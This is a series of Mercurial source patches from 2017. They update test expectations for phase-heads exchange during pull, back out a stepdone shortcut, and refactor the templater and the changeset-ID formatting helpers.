+  * - - [*] "GET http://localhost:$HGPORT/?cmd=getbundle HTTP/1.1" - - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=0000000000000000000000000000000000000000&heads=83180e7845de420a1bb46896fd5fe05294f8d629&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=*,zlib,none,bzip2 (glob)
   * - - [*] "GET http://localhost:$HGPORT/?cmd=capabilities HTTP/1.1" - - (glob)
   * - - [*] "GET http://localhost:$HGPORT/?cmd=batch HTTP/1.1" - - x-hgarg-1:cmds=heads+%3Bknown+nodes%3D x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
-  * - - [*] "GET http://localhost:$HGPORT/?cmd=getbundle HTTP/1.1" - - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=0000000000000000000000000000000000000000&heads=83180e7845de420a1bb46896fd5fe05294f8d629&listkeys=phases%2Cbookmarks x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
+  * - - [*] "GET http://localhost:$HGPORT/?cmd=getbundle HTTP/1.1" - - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=0000000000000000000000000000000000000000&heads=83180e7845de420a1bb46896fd5fe05294f8d629&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=*,zlib,none,bzip2 (glob)
   * - - [*] "GET http://localhost:$HGPORT/?cmd=capabilities HTTP/1.1" - - (glob)
   * - - [*] "GET http://localhost:$HGPORT/?cmd=batch HTTP/1.1" - - x-hgarg-1:cmds=heads+%3Bknown+nodes%3D x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
-  * - - [*] "GET http://localhost:$HGPORT/?cmd=getbundle HTTP/1.1" - - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=0000000000000000000000000000000000000000&heads=83180e7845de420a1bb46896fd5fe05294f8d629&listkeys=phases%2Cbookmarks x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
+  * - - [*] "GET http://localhost:$HGPORT/?cmd=getbundle HTTP/1.1" - - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=0000000000000000000000000000000000000000&heads=83180e7845de420a1bb46896fd5fe05294f8d629&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=*,zlib,none,bzip2 (glob)
diff --git a/tests/test-http.t b/tests/test-http.t
--- a/tests/test-http.t
+++ b/tests/test-http.t
@@ -284,11 +284,11 @@
   "GET /?cmd=stream_out HTTP/1.1" 401 - x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
   "GET /?cmd=stream_out HTTP/1.1" 200 - x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
   "GET /?cmd=batch HTTP/1.1" 200 - x-hgarg-1:cmds=heads+%3Bknown+nodes%3D5fed3813f7f5e1824344fdc9cf8f63bb662c292d x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
-  "GET /?cmd=getbundle HTTP/1.1" 200 - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=0&common=5fed3813f7f5e1824344fdc9cf8f63bb662c292d&heads=5fed3813f7f5e1824344fdc9cf8f63bb662c292d&listkeys=phases%2Cbookmarks x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
+  "GET /?cmd=getbundle HTTP/1.1" 200 - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=0&common=5fed3813f7f5e1824344fdc9cf8f63bb662c292d&heads=5fed3813f7f5e1824344fdc9cf8f63bb662c292d&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
   "GET /?cmd=capabilities HTTP/1.1" 200 -
   "GET /?cmd=batch HTTP/1.1" 200 - x-hgarg-1:cmds=heads+%3Bknown+nodes%3D x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
-  "GET /?cmd=getbundle HTTP/1.1" 401 - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=0000000000000000000000000000000000000000&heads=5fed3813f7f5e1824344fdc9cf8f63bb662c292d&listkeys=phases%2Cbookmarks x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
-  "GET /?cmd=getbundle HTTP/1.1" 200 - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=0000000000000000000000000000000000000000&heads=5fed3813f7f5e1824344fdc9cf8f63bb662c292d&listkeys=phases%2Cbookmarks x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
+  "GET /?cmd=getbundle HTTP/1.1" 401 - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=0000000000000000000000000000000000000000&heads=5fed3813f7f5e1824344fdc9cf8f63bb662c292d&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
+  "GET /?cmd=getbundle HTTP/1.1" 200 - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=0000000000000000000000000000000000000000&heads=5fed3813f7f5e1824344fdc9cf8f63bb662c292d&listkeys=bookmarks&phases=1 x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
   "GET /?cmd=capabilities HTTP/1.1" 200 -
   "GET /?cmd=lookup HTTP/1.1" 200 - x-hgarg-1:key=tip x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
   "GET /?cmd=listkeys HTTP/1.1" 401 - x-hgarg-1:namespace=namespaces x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
diff --git a/tests/test-obsolete-changeset-exchange.t b/tests/test-obsolete-changeset-exchange.t
--- a/tests/test-obsolete-changeset-exchange.t
+++ b/tests/test-obsolete-changeset-exchange.t
@@ -149,12 +149,11 @@
   1 changesets found
   list of changesets:
   bec0734cd68e84477ba7fc1d13e6cff53ab70129
-  listing keys for "phases"
   listing keys for "bookmarks"
   bundle2-output-bundle: "HG20", 3 parts total
   bundle2-output-part: "changegroup" (params: 1 mandatory 1 advisory) streamed payload
-  bundle2-output-part: "listkeys" (params: 1 mandatory) 58 bytes payload
   bundle2-output-part: "listkeys" (params: 1 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 24 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "changegroup" (params: 1 mandatory 1 advisory) supported
   adding changesets
@@ -165,8 +164,8 @@
   added 1 changesets with 1 changes to 1 files (+1 heads)
   bundle2-input-part: total payload size 476
   bundle2-input-part: "listkeys" (params: 1 mandatory) supported
-  bundle2-input-part: total payload size 58
-  bundle2-input-part: "listkeys" (params: 1 mandatory) supported
+  bundle2-input-part: "phase-heads" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-bundle: 2 parts total
   checking for updated bookmarks
   updating the branch cache
diff --git a/tests/test-setdiscovery.t b/tests/test-setdiscovery.t
--- a/tests/test-setdiscovery.t
+++ b/tests/test-setdiscovery.t
@@ -349,7 +349,7 @@
   $ cut -d' ' -f6- access.log | grep -v cmd=known # cmd=known uses random sampling
   "GET /?cmd=capabilities HTTP/1.1" 200 -
   "GET /?cmd=batch HTTP/1.1" 200 - x-hgarg-1:cmds=heads+%3Bknown+nodes%3D513314ca8b3ae4dac8eec56966265b00fcf866db x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
-  "GET /?cmd=getbundle HTTP/1.1" 200 - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=513314ca8b3ae4dac8eec56966265b00fcf866db&heads=e64a39e7da8b0d54bc63e81169aff001c13b3477 x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
+  "GET /?cmd=getbundle HTTP/1.1" 200 - x-hgarg-1:bundlecaps=HG20%2Cbundle2%3DHG20%250Achangegroup%253D01%252C02%250Adigests%253Dmd5%252Csha1%252Csha512%250Aerror%253Dabort%252Cunsupportedcontent%252Cpushraced%252Cpushkey%250Ahgtagsfnodes%250Alistkeys%250Aphases%253Dheads%250Apushkey%250Aremote-changegroup%253Dhttp%252Chttps&cg=1&common=513314ca8b3ae4dac8eec56966265b00fcf866db&heads=e64a39e7da8b0d54bc63e81169aff001c13b3477 x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
   "GET /?cmd=listkeys HTTP/1.1" 200 - x-hgarg-1:namespace=phases x-hgproto-1:0.1 0.2 comp=*zlib,none,bzip2 (glob)
   $ cat errors.log
 
diff --git a/tests/test-ssh-bundle1.t b/tests/test-ssh-bundle1.t
--- a/tests/test-ssh-bundle1.t
+++ b/tests/test-ssh-bundle1.t
@@ -464,8 +464,8 @@
   running .* ".*/dummyssh" ['"]user@dummy['"] ('|")hg -R remote serve --stdio('|") (re)
   sending hello command
   sending between command
-  remote: 355
-  remote: capabilities: lookup changegroupsubset branchmap pushkey known getbundle unbundlehash batch streamreqs=generaldelta,revlogv1 bundle2=HG20%0Achangegroup%3D01%2C02%0Adigests%3Dmd5%2Csha1%2Csha512%0Aerror%3Dabort%2Cunsupportedcontent%2Cpushraced%2Cpushkey%0Ahgtagsfnodes%0Alistkeys%0Apushkey%0Aremote-changegroup%3Dhttp%2Chttps unbundle=HG10GZ,HG10BZ,HG10UN
+  remote: 372
+  remote: capabilities: lookup changegroupsubset branchmap pushkey known getbundle unbundlehash batch streamreqs=generaldelta,revlogv1 bundle2=HG20%0Achangegroup%3D01%2C02%0Adigests%3Dmd5%2Csha1%2Csha512%0Aerror%3Dabort%2Cunsupportedcontent%2Cpushraced%2Cpushkey%0Ahgtagsfnodes%0Alistkeys%0Aphases%3Dheads%0Apushkey%0Aremote-changegroup%3Dhttp%2Chttps unbundle=HG10GZ,HG10BZ,HG10UN
   remote: 1
   preparing listkeys for "bookmarks"
   sending listkeys command
diff --git a/tests/test-ssh.t b/tests/test-ssh.t
--- a/tests/test-ssh.t
+++ b/tests/test-ssh.t
@@ -480,8 +480,8 @@
   running .* ".*/dummyssh" ['"]user@dummy['"] ('|")hg -R remote serve --stdio('|") (re)
   sending hello command
   sending between command
-  remote: 355
-  remote: capabilities: lookup changegroupsubset branchmap pushkey known getbundle unbundlehash batch streamreqs=generaldelta,revlogv1 bundle2=HG20%0Achangegroup%3D01%2C02%0Adigests%3Dmd5%2Csha1%2Csha512%0Aerror%3Dabort%2Cunsupportedcontent%2Cpushraced%2Cpushkey%0Ahgtagsfnodes%0Alistkeys%0Apushkey%0Aremote-changegroup%3Dhttp%2Chttps unbundle=HG10GZ,HG10BZ,HG10UN
+  remote: 372
+  remote: capabilities: lookup changegroupsubset branchmap pushkey known getbundle unbundlehash batch streamreqs=generaldelta,revlogv1 bundle2=HG20%0Achangegroup%3D01%2C02%0Adigests%3Dmd5%2Csha1%2Csha512%0Aerror%3Dabort%2Cunsupportedcontent%2Cpushraced%2Cpushkey%0Ahgtagsfnodes%0Alistkeys%0Aphases%3Dheads%0Apushkey%0Aremote-changegroup%3Dhttp%2Chttps unbundle=HG10GZ,HG10BZ,HG10UN
   remote: 1
   query 1; heads
   sending batch command
@@ -491,9 +491,9 @@
   sending getbundle command
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "listkeys" (params: 1 mandatory) supported
-  bundle2-input-part: total payload size 15
-  bundle2-input-part: "listkeys" (params: 1 mandatory) supported
   bundle2-input-part: total payload size 45
+  bundle2-input-part: "phase-heads" supported
+  bundle2-input-part: total payload size 72
   bundle2-input-bundle: 1 parts total
   checking for updated bookmarks
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1506434101 -7200
#      Tue Sep 26 15:55:01 2017 +0200
# Node ID 6c7aaf59b21eea6bb50653b026ac47b0620e8e36
# Parent  10e162bb9bf5b5597df7467e4b01e2fde62b24ee
pull: remove inadequate use of operations records to update stepdone

The 'stepdone' set is design to be a client side mechanism. If the client used
some advanced capabilities to request necessary information (changeset,
obsmarkers, phases, etc). It marks the steps as done to avoid having a less
advanced mechanism issue a duplicated request.

So, the "stepdone.add('phases')" should be the result of a client choice,
because only the client can know it has requested all it needed to request. In
4a08cf1a2cfe this principle was broken because any phase-heads part sent by
the server to the client would declare the phases retrieval complete.

Now that there is an official phases related capability and code associated to
it. We do not need the change in 4a08cf1a2cfe anymore and we can back it out.
This brings back 'stepdone' management for 'phases' in line with the rest of
the code (including other phases handing).

Here is an example of potential misbehavior that 4a08cf1a2cfe introduced:

Imagine a server that pre-computes bundles. The bundles contains a changegroup
part and an (advisory) 'phase-heads' part. When a pull occurs, precomputed
bundled are reused if available. As the phase part is advisory it can be sent
to all clients.  However they could be relevant changesets without phase
information.  Either because they are already common or because they had no
precomputed bundle for them yet.

If receiving any 'phase-heads' parts disable subsequent phases re-trivial
parts, the client will not request phase data for all relevant changesets. For
example common changesets will not turn public.

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -1844,7 +1844,6 @@
     """apply phases from bundle part to repo"""
     headsbyphase = phases.binarydecode(inpart)
     phases.updatephases(op.repo.unfiltered(), op.gettransaction, headsbyphase)
-    op.records.add('phase-heads', {})
 
 @parthandler('reply:pushkey', ('return', 'in-reply-to'))
 def handlepushkeyreply(op, inpart):
diff --git a/mercurial/exchange.py b/mercurial/exchange.py
--- a/mercurial/exchange.py
+++ b/mercurial/exchange.py
@@ -1400,10 +1400,6 @@
     if pullop.fetch:
         pullop.cgresult = bundle2.combinechangegroupresults(op)
 
-    # If the bundle had a phase-heads part, then phase exchange is already done
-    if op.records['phase-heads']:
-        pullop.stepsdone.add('phases')
-
     # processing phases change
     for namespace, value in op.records['listkeys']:
         if namespace == 'phases':
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504951278 -32400
#      Sat Sep 09 19:01:18 2017 +0900
# Node ID e473f482b9b39038e754cc847c7ca5ccea92c2d5
# Parent  6c7aaf59b21eea6bb50653b026ac47b0620e8e36
templater: use helper function to get name of non-iterable keyword

diff --git a/mercurial/templater.py b/mercurial/templater.py
--- a/mercurial/templater.py
+++ b/mercurial/templater.py
@@ -423,8 +423,9 @@
         try:
             diter = iter(d)
         except TypeError:
-            if func is runsymbol:
-                raise error.ParseError(_("keyword '%s' is not iterable") % data)
+            sym = findsymbolicname((func, data))
+            if sym:
+                raise error.ParseError(_("keyword '%s' is not iterable") % sym)
             else:
                 raise error.ParseError(_("%r is not iterable") % d)
 
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504361374 -32400
#      Sat Sep 02 23:09:34 2017 +0900
# Node ID 86d050abd5c14cd02c5019c00726a71c0f684555
# Parent  e473f482b9b39038e754cc847c7ca5ccea92c2d5
templater: do not destructure operands in buildmap()

This makes the next patch slightly simpler.

diff --git a/mercurial/templater.py b/mercurial/templater.py
--- a/mercurial/templater.py
+++ b/mercurial/templater.py
@@ -410,12 +410,12 @@
         raise error.Abort(msg)
 
 def buildmap(exp, context):
-    func, data = compileexp(exp[1], context, methods)
-    tfunc, tdata = gettemplate(exp[2], context)
-    return (runmap, (func, data, tfunc, tdata))
+    darg = compileexp(exp[1], context, methods)
+    targ = gettemplate(exp[2], context)
+    return (runmap, (darg, targ))
 
 def runmap(context, mapping, data):
-    func, data, tfunc, tdata = data
+    (func, data), (tfunc, tdata) = data
     d = func(context, mapping, data)
     if util.safehasattr(d, 'itermaps'):
         diter = d.itermaps()
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504361634 -32400
#      Sat Sep 02 23:13:54 2017 +0900
# Node ID e60c601953d7102ef2c6d9d952b5cb7ef3e987b7
# Parent  86d050abd5c14cd02c5019c00726a71c0f684555
templater: extract helper to just evaluate template expression

A named function can be easily grepped and is probably good for code
readability.

diff --git a/mercurial/templater.py b/mercurial/templater.py
--- a/mercurial/templater.py
+++ b/mercurial/templater.py
@@ -298,11 +298,17 @@
         else:
             return None
 
-def evalfuncarg(context, mapping, arg):
+def evalrawexp(context, mapping, arg):
+    """Evaluate given argument as a bare template object which may require
+    further processing (such as folding generator of strings)"""
     func, data = arg
-    # func() may return string, generator of strings or arbitrary object such
-    # as date tuple, but filter does not want generator.
-    thing = func(context, mapping, data)
+    return func(context, mapping, data)
+
+def evalfuncarg(context, mapping, arg):
+    """Evaluate given argument as value type"""
+    thing = evalrawexp(context, mapping, arg)
+    # evalrawexp() may return string, generator of strings or arbitrary object
+    # such as date tuple, but filter does not want generator.
     if isinstance(thing, types.GeneratorType):
         thing = stringify(thing)
     return thing
@@ -331,8 +337,7 @@
         raise error.ParseError(err)
 
 def evalstring(context, mapping, arg):
-    func, data = arg
-    return stringify(func(context, mapping, data))
+    return stringify(evalrawexp(context, mapping, arg))
 
 def evalstringliteral(context, mapping, arg):
     """Evaluate given argument as string template, but returns symbol name
@@ -380,8 +385,8 @@
     return (runtemplate, ctmpl)
 
 def runtemplate(context, mapping, template):
-    for func, data in template:
-        yield func(context, mapping, data)
+    for arg in template:
+        yield evalrawexp(context, mapping, arg)
 
 def buildfilter(exp, context):
     n = getsymbol(exp[2])
@@ -415,15 +420,15 @@
     return (runmap, (darg, targ))
 
 def runmap(context, mapping, data):
-    (func, data), (tfunc, tdata) = data
-    d = func(context, mapping, data)
+    darg, targ = data
+    d = evalrawexp(context, mapping, darg)
     if util.safehasattr(d, 'itermaps'):
         diter = d.itermaps()
     else:
         try:
             diter = iter(d)
         except TypeError:
-            sym = findsymbolicname((func, data))
+            sym = findsymbolicname(darg)
             if sym:
                 raise error.ParseError(_("keyword '%s' is not iterable") % sym)
             else:
@@ -435,7 +440,7 @@
         if isinstance(v, dict):
             lm.update(v)
             lm['originalnode'] = mapping.get('node')
-            yield tfunc(context, lm, tdata)
+            yield evalrawexp(context, lm, targ)
         else:
             # v is not an iterable of dicts, this happen when 'key'
             # has been fully expanded already and format is useless.
@@ -718,9 +723,9 @@
 
     test = evalboolean(context, mapping, args[0])
     if test:
-        yield args[1][0](context, mapping, args[1][1])
+        yield evalrawexp(context, mapping, args[1])
     elif len(args) == 3:
-        yield args[2][0](context, mapping, args[2][1])
+        yield evalrawexp(context, mapping, args[2])
 
 @templatefunc('ifcontains(needle, haystack, then[, else])')
 def ifcontains(context, mapping, args):
@@ -734,9 +739,9 @@
     haystack = evalfuncarg(context, mapping, args[1])
 
     if needle in haystack:
-        yield args[2][0](context, mapping, args[2][1])
+        yield evalrawexp(context, mapping, args[2])
     elif len(args) == 4:
-        yield args[3][0](context, mapping, args[3][1])
+        yield evalrawexp(context, mapping, args[3])
 
 @templatefunc('ifeq(expr1, expr2, then[, else])')
 def ifeq(context, mapping, args):
@@ -749,9 +754,9 @@
     test = evalstring(context, mapping, args[0])
     match = evalstring(context, mapping, args[1])
     if test == match:
-        yield args[2][0](context, mapping, args[2][1])
+        yield evalrawexp(context, mapping, args[2])
     elif len(args) == 4:
-        yield args[3][0](context, mapping, args[3][1])
+        yield evalrawexp(context, mapping, args[3])
 
 @templatefunc('join(list, sep)')
 def join(context, mapping, args):
@@ -760,7 +765,9 @@
         # i18n: "join" is a keyword
         raise error.ParseError(_("join expects one or two arguments"))
 
-    joinset = args[0][0](context, mapping, args[0][1])
+    # TODO: perhaps this should be evalfuncarg(), but it can't because hgweb
+    # abuses generator as a keyword that returns a list of dicts.
+    joinset = evalrawexp(context, mapping, args[0])
     if util.safehasattr(joinset, 'itermaps'):
         jf = joinset.joinfmt
         joinset = [jf(x) for x in joinset.itermaps()]
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1506224637 -32400
#      Sun Sep 24 12:43:57 2017 +0900
# Node ID 4647e0a8d3d7ab0c934535b00e968fe4e9ed0973
# Parent  e60c601953d7102ef2c6d9d952b5cb7ef3e987b7
scmutil: extract helper functions that returns human-readable change id

We do "'%d:%s' % (ctx...)" at several places, so let's formalize it. A low-
level function, formatrevnode(ui, rev, node), is extracted so we can pass
a manifest rev/node pair.

Note that hex() for manifest output can be replaced with hexfunc() because
it is printed only when debugflag is set.

i18n/de.po is updated so test-log.t passes with no error.

diff --git a/i18n/de.po b/i18n/de.po
--- a/i18n/de.po
+++ b/i18n/de.po
@@ -9746,8 +9746,8 @@
 
 #. i18n: column positioning for "hg log"
 #, python-format
-msgid "changeset:   %d:%s\n"
-msgstr "Änderung:        %d:%s\n"
+msgid "changeset:   %s\n"
+msgstr "Änderung:        %s\n"
 
 #. i18n: column positioning for "hg log"
 #, python-format
@@ -9771,8 +9771,8 @@
 
 #. i18n: column positioning for "hg log"
 #, python-format
-msgid "parent:      %d:%s\n"
-msgstr "Vorgänger:       %d:%s\n"
+msgid "parent:      %s\n"
+msgstr "Vorgänger:       %s\n"
 
 #. i18n: column positioning for "hg log"
 #, python-format
diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -1623,22 +1623,16 @@
         '''show a single changeset or file revision'''
         changenode = ctx.node()
         rev = ctx.rev()
-        if self.ui.debugflag:
-            hexfunc = hex
-        else:
-            hexfunc = short
-        # as of now, wctx.node() and wctx.rev() return None, but we want to
-        # show the same values as {node} and {rev} templatekw
-        revnode = (scmutil.intrev(ctx), hexfunc(scmutil.binnode(ctx)))
 
         if self.ui.quiet:
-            self.ui.write("%d:%s\n" % revnode, label='log.node')
+            self.ui.write("%s\n" % scmutil.formatchangeid(ctx),
+                          label='log.node')
             return
 
         date = util.datestr(ctx.date())
 
         # i18n: column positioning for "hg log"
-        self.ui.write(_("changeset:   %d:%s\n") % revnode,
+        self.ui.write(_("changeset:   %s\n") % scmutil.formatchangeid(ctx),
                       label=_changesetlabels(ctx))
 
         # branches are shown first before any other names due to backwards
@@ -1667,16 +1661,15 @@
         for pctx in scmutil.meaningfulparents(self.repo, ctx):
             label = 'log.parent changeset.%s' % pctx.phasestr()
             # i18n: column positioning for "hg log"
-            self.ui.write(_("parent:      %d:%s\n")
-                          % (pctx.rev(), hexfunc(pctx.node())),
+            self.ui.write(_("parent:      %s\n") % scmutil.formatchangeid(pctx),
                           label=label)
 
         if self.ui.debugflag and rev is not None:
             mnode = ctx.manifestnode()
+            mrev = self.repo.manifestlog._revlog.rev(mnode)
             # i18n: column positioning for "hg log"
-            self.ui.write(_("manifest:    %d:%s\n") %
-                          (self.repo.manifestlog._revlog.rev(mnode),
-                           hex(mnode)),
+            self.ui.write(_("manifest:    %s\n")
+                          % scmutil.formatrevnode(self.ui, mrev, mnode),
                           label='ui.debug log.manifest')
         # i18n: column positioning for "hg log"
         self.ui.write(_("user:        %s\n") % ctx.user(),
diff --git a/mercurial/scmutil.py b/mercurial/scmutil.py
--- a/mercurial/scmutil.py
+++ b/mercurial/scmutil.py
@@ -19,6 +19,7 @@
 from .node import (
     hex,
     nullid,
+    short,
     wdirid,
     wdirrev,
 )
@@ -405,6 +406,20 @@
         return wdirrev
     return rev
 
+def formatchangeid(ctx):
+    """Format changectx as '{rev}:{node|formatnode}', which is the default
+    template provided by cmdutil.changeset_templater"""
+    repo = ctx.repo()
+    return formatrevnode(repo.ui, intrev(ctx), binnode(ctx))
+
+def formatrevnode(ui, rev, node):
+    """Format given revision and node depending on the current verbosity"""
+    if ui.debugflag:
+        hexfunc = hex
+    else:
+        hexfunc = short
+    return '%d:%s' % (rev, hexfunc(node))
+
 def revsingle(repo, revspec, default='.', localalias=None):
     if not revspec and revspec != 0:
         return repo[default]
diff --git a/mercurial/templatekw.py b/mercurial/templatekw.py
--- a/mercurial/templatekw.py
+++ b/mercurial/templatekw.py
@@ -11,7 +11,6 @@
 from .node import (
     hex,
     nullid,
-    short,
 )
 
 from . import (
@@ -163,16 +162,6 @@
     if endname in templ:
         yield templ(endname, **strmapping)
 
-def _formatrevnode(ctx):
-    """Format changeset as '{rev}:{node|formatnode}', which is the default
-    template provided by cmdutil.changeset_templater"""
-    repo = ctx.repo()
-    if repo.ui.debugflag:
-        hexfunc = hex
-    else:
-        hexfunc = short
-    return '%d:%s' % (scmutil.intrev(ctx), hexfunc(scmutil.binnode(ctx)))
-
 def getfiles(repo, ctx, revcache):
     if 'files' not in revcache:
         revcache['files'] = repo.status(ctx.p1(), ctx)[:3]
@@ -640,7 +629,7 @@
 
     return _hybrid(None, predecessors,
                    lambda x: {'ctx': repo[x], 'revcache': {}},
-                   lambda d: _formatrevnode(d['ctx']))
+                   lambda d: scmutil.formatchangeid(d['ctx']))
 
 @templatekeyword("successorssets")
 def showsuccessorssets(repo, ctx, **args):
@@ -658,7 +647,7 @@
     data = []
     for ss in ssets:
         h = _hybrid(None, ss, lambda x: {'ctx': repo[x], 'revcache': {}},
-                    lambda d: _formatrevnode(d['ctx']))
+                    lambda d: scmutil.formatchangeid(d['ctx']))
         data.append(h)
 
     # Format the successorssets
@@ -698,7 +687,7 @@
         successors = [hex(n) for n in successors]
         successors = _hybrid(None, successors,
                              lambda x: {'ctx': repo[x], 'revcache': {}},
-                             lambda d: _formatrevnode(d['ctx']))
+                             lambda d: scmutil.formatchangeid(d['ctx']))
 
         # Format markers
         finalmarkers = []
@@ -759,7 +748,7 @@
                for p in pctxs]
     f = _showlist('parent', parents, args)
     return _hybrid(f, prevs, lambda x: {'ctx': repo[int(x)], 'revcache': {}},
-                   lambda d: _formatrevnode(d['ctx']))
+                   lambda d: scmutil.formatchangeid(d['ctx']))
 
 @templatekeyword('phase')
 def showphase(repo, ctx, templ, **args):
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1506234166 -32400
#      Sun Sep 24 15:22:46 2017 +0900
# Node ID dd28b1f55eb86f9a47d0176214d4076498fdb3ed
# Parent  4647e0a8d3d7ab0c934535b00e968fe4e9ed0973
templatekw: just pass underlying value (or key) to joinfmt() function

Before, iter(hybrid) was proxied to hybrid.gen, which generated formatted
strings. That's why we had to apply joinfmt() to the dicts generated by
hybrid.itermaps(). Since this weird API was fixed at a0f2d83f8083, we can
get rid of the makemap() calls from join().

diff --git a/mercurial/templatekw.py b/mercurial/templatekw.py
--- a/mercurial/templatekw.py
+++ b/mercurial/templatekw.py
@@ -48,10 +48,10 @@
         return self._defaultgen()
     def _defaultgen(self):
         """Generator to stringify this as {join(self, ' ')}"""
-        for i, d in enumerate(self.itermaps()):
+        for i, x in enumerate(self._values):
             if i > 0:
                 yield ' '
-            yield self.joinfmt(d)
